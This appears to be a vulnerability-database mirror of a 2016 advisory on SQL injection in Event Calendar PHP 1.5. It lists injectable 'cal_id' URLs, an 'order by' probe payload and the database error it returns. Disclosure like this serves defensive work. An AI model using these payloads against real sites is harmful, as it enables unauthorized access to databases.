Lucene search
K

Event Calendar PHP 1.5 SQL Injection

🗓️ 21 Oct 2016 00:00:00Reported by Ehsan HosseiniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Event Calendar PHP 1.5 SQL Injection on cal_id paramete

Code
`=====================================================  
# Event Calendar PHP 1.5 - SQL Injection  
=====================================================  
# Vendor Homepage: http://eventcalendarphp.com/  
# Date: 21 Oct 2016  
# Demo Link : http://eventcalendarphp.com/eventcalendar/admin.php  
# Version : 1.5  
# Platform : WebApp - PHP  
# Author: Ashiyane Digital Security Team  
# Contact: [email protected]  
=====================================================  
# PoC:  
Vulnerable Url:  
http://eventcalendarphp.com/eventcalendar/admin.php?act=options&cal_id=[payload]  
http://eventcalendarphp.com/eventcalendar/admin.php?act=cal_options&cal_id=[payload]  
http://eventcalendarphp.com/eventcalendar/admin.php?act=cal_language&cal_id=[payload]  
Vulnerable parameter : cal_id  
Mehod : GET  
  
A simple inject :  
Payload : '+order+by+20--+  
http://eventcalendarphp.com/eventcalendar/admin.php?act=options&cal_id=1'+order+by+20--+  
  
In response can see result :  
query error: SELECT * FROM pa_ecal_calendars WHERE cal_id='1' order by  
20-- '. Error: Unknown column '20' in 'order clause'  
  
Result of payload: Error: Unknown column '20' in 'order clause'  
=====================================================  
# Discovered By : Ehsan Hosseini  
=====================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation